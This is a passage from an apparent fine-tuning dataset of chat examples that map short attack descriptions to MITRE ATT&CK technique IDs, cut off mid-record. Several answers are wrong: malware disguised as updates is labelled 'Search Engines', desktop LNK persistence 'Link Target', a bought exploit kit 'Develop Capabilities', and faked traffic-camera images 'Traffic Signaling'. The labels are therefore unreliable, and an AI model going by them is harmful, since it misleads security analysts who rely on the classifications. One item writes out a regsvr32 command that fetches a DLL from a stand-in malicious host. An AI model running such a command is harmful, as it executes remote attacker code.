                "content": "A group buys a bulk number of phone lines via a VoIP service to facilitate social engineering calls."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat executes its payload by reading the binary into memory and performing reflective relocation before execution."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform WHOIS lookups and purchase data from broker services to obtain the victim organization's name, domain registration details, and contact information."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executed the built‑in Windows utility \"reg save\" to export the SYSTEM hive, then extracted boot key material for decryption of password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed via a hijacked Security Support Provider DLL during the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits inadequate IAM policies on serverless resources to gain elevated privileges and extract data."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable webmail plugin, the threat actor escalated privileges to read and send emails from compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is delivered as source code embedded in a legitimate installer and compiled after execution to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a shortcut (LNK) file on the desktop that targets a malicious binary in the system directory to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a memory scraping technique to capture the master password of a password manager from RAM."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the system's network boot (PXE) configuration to load a malicious OS image before the local OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copied harvested credentials and documents to a hidden folder on the compromised host before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries invoke the CMSTP utility to run a malicious INF file that loads a backdoor DLL, allowing execution of arbitrary code via a system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gathers metadata from PDF documents posted on the target's website to extract internal hostnames."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses standard Base64 encoding to hide its encrypted payload within a JSON file."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the Windows DCOM remote service to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executed PowerShell's Get-LocalGroup cmdlet to retrieve local group information."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a plist file in /System/Library/LaunchDaemons that runs a backdoor at system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group modifies the firmware of traffic cameras to display fabricated congestion images, influencing traffic flow."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the ImagePath of an existing service to execute a trojanized DLL."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group gathers information on the victim’s internal Windows domain structure via leaked configuration files."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the timestamps of compromised files to match those of existing system files, evading integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a phishing email to deliver a credential‑dumping tool, which they then used to log into a database server and add a new admin account."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A victim visits a compromised website that silently downloads and executes ransomware via a browser exploit."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Odbcconf utility, the threat actor registered a malicious driver that runs with SYSTEM privileges, achieving proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Mimikatz to pull plaintext credentials from the LSASS process on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A brief description: uses external remote services to connect to the target network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Windows Installer custom actions to execute a malicious DLL during the installation of a legit‑looking program."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages a compromised service account to transfer sensitive logs to a Box cloud storage account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder wipes out SMB share connections from the victim's file explorer history."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issues an IMAP delete command to wipe all folders in the target’s email account."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the attacker modifies the Registry Settings GPO to add a new Run key that executes malware."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a compromised Kubernetes admission controller to inject malicious containers during pod creation."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware communicates via DNS over TCP to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary edits the global /etc/profile file to add a command that runs a malicious script whenever a user opens a shell."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor reads all files in the user's home directory and transmits them over the network."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used stolen SSH keys to log into a Linux web server and installed a persistent backdoor."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by embedding it in DNS query responses using a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script performs iterative DNS queries for SRV records to discover services like LDAP and Kerberos on the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses URL-safe Base64 encoding to hide malicious payloads in GET parameters."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtained a stolen TLS certificate from a compromised web server to impersonate the site in phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses Process Hollowing to replace the memory of a legitimate Windows process with its own code."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates hidden files with the System and Hidden attributes set, making them invisible to normal directory traversal tools."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrated files by first uploading them to a cloud storage bucket before stealing them later."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sends crafted requests to the Azure Logic Apps REST API to trigger script execution in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'sc query' to enumerate all Windows services and their statuses on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a public IRC channel to receive real‑time commands from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability, the threat actor disabled the default deny‑all rule on the cloud firewall, exposing the network to public internet traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider adds the \"Owner\" role to a low‑privilege Azure subscription user to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing module reads the victim's bash history to retrieve any passwords supplied to the 'ftp' command."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant disguises itself as a legitimate security software, tricking users into installing it and then using the trusted appearance to manipulate system settings and steal sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a vulnerable theme in a content management system to replace the home page with a fake announcement."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor placed a disguised file \"services .cmd\" in the system PATH, where the space after the name made it appear as a legitimate services command script."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a webhook integration in a project management tool to exfiltrate project files."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary created a snapshot of a compromised virtual machine in the victim's AWS environment to preserve its state."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the behavior of the Windows AuthenticateUser function to steal user credentials before they are passed to the OS."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a task called 'SoftwareDistribution' that runs a PowerShell payload to download additional modules."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group purchases a commercial exploit kit targeting Adobe Flash vulnerabilities to develop new capabilities for targeted attacks."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opened a reverse tunnel through Azure Relay to gain remote command execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware called regsvr32 /i:http://malicious.example.com/bad.dll to execute code without triggering security alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor wipes Windows event logs and system files to eliminate traces of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder spends money to acquire the victim's proprietary encryption key management procedures from a third‑party source."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invokes the Windows API BitBlt function to capture the current display contents and saves the image to a temporary folder."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group modifies the Windows Registry's Image File Execution Options to set a debugger for cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses PowerShell's Get-SmbShare cmdlet to enumerate shared folders on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a legitimate software vendor's code signing certificate and used it to sign malicious DLLs, allowing the malware to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans configuration files for hard‑coded API keys and uploads them to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the adversary calls Mavinject to insert malicious code into a running system process, fulfilling the T1218.013 technique."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor dials the victim’s mobile phone, leaves a personalized voice message urging the user to download a fake security patch from a supplied URL."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a SSH reverse tunnel to exfiltrate data over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Disguising malware as legitimate software updates or patches to gain trust"
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dumps authentication tokens from the Windows Credential Manager to gain API access."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerability to dump securityd's in‑memory data structures and extract saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload spawns a malicious XPC service that receives commands from a remote C2 server, allowing remote code execution on macOS."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber criminals obtain files from a victim's Amazon S3 bucket by exploiting a misconfigured bucket policy."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat renamed a custom C2 client to \"wuauclt.exe\" to blend in with Windows Update processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker reuses a cached local account password to gain access after reboot."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rootkit, the actor suppresses genuine AV alerts while simultaneously generating decoy notifications about a fake ransomware outbreak."
            },
            {
